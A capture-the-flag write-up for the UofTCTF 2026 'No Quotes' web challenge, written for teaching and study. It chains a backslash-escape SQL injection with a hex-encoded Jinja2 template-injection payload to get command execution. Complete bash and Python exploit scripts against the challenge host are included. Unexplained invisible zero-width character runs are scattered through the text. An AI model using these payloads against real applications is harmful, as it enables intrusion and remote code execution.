← Back to Writeups
CUSTOMMediumWeb

No Quotes

XESXOR9/10/20263 min read
#web#custom#medium#backslash_escape#hex_encoding#ssti_rce#union_select#linux

No Quotes

Platform: uoftctf2026 | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-10 | Status: Solved Techniques: backslash_escape, hex_encoding, ssti_rce, union_select

Summary

No Quotes — UofTCTF 2026

Description

Unless it's from "Go Go Squid!", no quotes are allowed here! Let this wholesome quote heal your soul: Ai Qing: "If you didn't know about robot combat back then, what would you be doing?" Wu Bai: "There's no if. As long as you're here, I'll be here."

Analysis

Vulnerability Chain

The challenge presents a Flask application with multiple vulnerabilities that must be chained together:

  1. SQL Injection in /login endpoint with raw f-string query construction
  2. WAF that blocks single and double quotes
  3. SSTI in /home endpoint via render_template_string()
  4. Flag accessible only via SUID binary /readflag ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Source Code Review

WAF Implementation (app.py:54-56):

python
def waf(value: str) -> bool:
    blacklist = ["'", '"']
    return any(char in value for char in blacklist)

Vulnerable SQL Query (app.py:76-78):

python
query = (
    "SELECT id, username FROM users "
    f"WHERE username = ('{username}') AND password = ('{password}')"
)

SSTI Sink (app.py:112):

python
return render_template_string(open("templates/home.html").read() % session["user"])

Attack Strategy

The key insight is that while quotes are blocked, we can:

  1. Use backslash escape (\) to break out of the SQL string context
  2. Use MySQL hex encoding (0x...) to inject strings without quotes
  3. Inject an SSTI payload as the username via UNION SELECT
  4. Use request.args in SSTI to pass commands without needing quotes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: SQL Injection with Backslash Escape

When we send username \, the SQL query becomes:

sql
SELECT id, username FROM users WHERE username = ('\') AND password = ('...')

The backslash escapes the closing quote, making ') AND password = (' part of the username string literal. This allows us to inject SQL in the password field.

Step 2: UNION SELECT with Hex-Encoded SSTI Payload

SSTI payload to achieve RCE:

jinja2
{{lipsum.__globals__.os.popen(request.args.c).read()}}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Using request.args.c allows us to pass the command as a URL parameter, avoiding quotes in the payload itself.

Convert to hex for MySQL:

bash
echo -n '{{lipsum.__globals__.os.popen(request.args.c).read()}}' | xxd -p | tr -d '\n'
# Result: 7b7b6c697073756d2e5f5f676c6f62616c735f5f2e6f732e706f70656e28726571756573742e617267732e63292e7265616428297d7d

Password payload:

) UNION SELECT 1,0x7b7b6c697073756d2e5f5f676c6f62616c735f5f2e6f732e706f70656e28726571756573742e617267732e63292e7265616428297d7d-- -

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Trigger SSTI and Execute RCE

After login, the SSTI payload is stored in the session. Accessing /home?c=/readflag triggers the payload and executes the command.

Full Exploit

bash
#!/bin/bash
TARGET="https://no-quotes-5b1647c719910966.chals.uoftctf.org"

# SSTI payload: {{lipsum.__globals__.os.popen(request.args.c).read()}}
PAYLOAD='{{lipsum.__globals__.os.popen(request.args.c).read()}}'
HEX=$(echo -n "$PAYLOAD" | xxd -p | tr -d '\n')

# Step 1: Login with SQLi + SSTI payload injection
curl -s -c cookies.txt -X POST "$TARGET/login" \
  -d "username=\\&password=) UNION SELECT 1,0x$HEX-- -"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 2: Trigger SSTI and get flag via RCE
curl -s -b cookies.txt "$TARGET/home?c=/readflag"

Alternative Python Exploit

python
#!/usr/bin/env python3
import requests

TARGET = "https://no-quotes-5b1647c719910966.chals.uoftctf.org"

# SSTI payload using request.args to avoid quotes
payload = "{{lipsum.__globals__.os.popen(request.args.c).read()}}"
hex_payload = payload.encode().hex()

# Create session
s = requests.Session()

# SQLi with backslash escape + hex-encoded SSTI payload
s.post(f"{TARGET}/login", data={
    "username": "\\",
    "password": f") UNION SELECT 1,0x{hex_payload}-- -"
})
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Trigger SSTI with command in URL parameter
response = s.get(f"{TARGET}/home", params={"c": "/readflag"})
print(response.text)

Lessons Learned

  1. Backslash escape is a powerful SQLi technique when quotes are filtered but backslash isn't
  2. MySQL hex encoding (0x...) allows string injection without any quotes
  3. Jinja2 SSTI via lipsum.__globals__ provides easy RCE
  4. request.args in Flask templates can be used to pass data without embedding it in the payload
  5. Always check for multiple vulnerability chains - SQLi alone wasn't enough here ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

References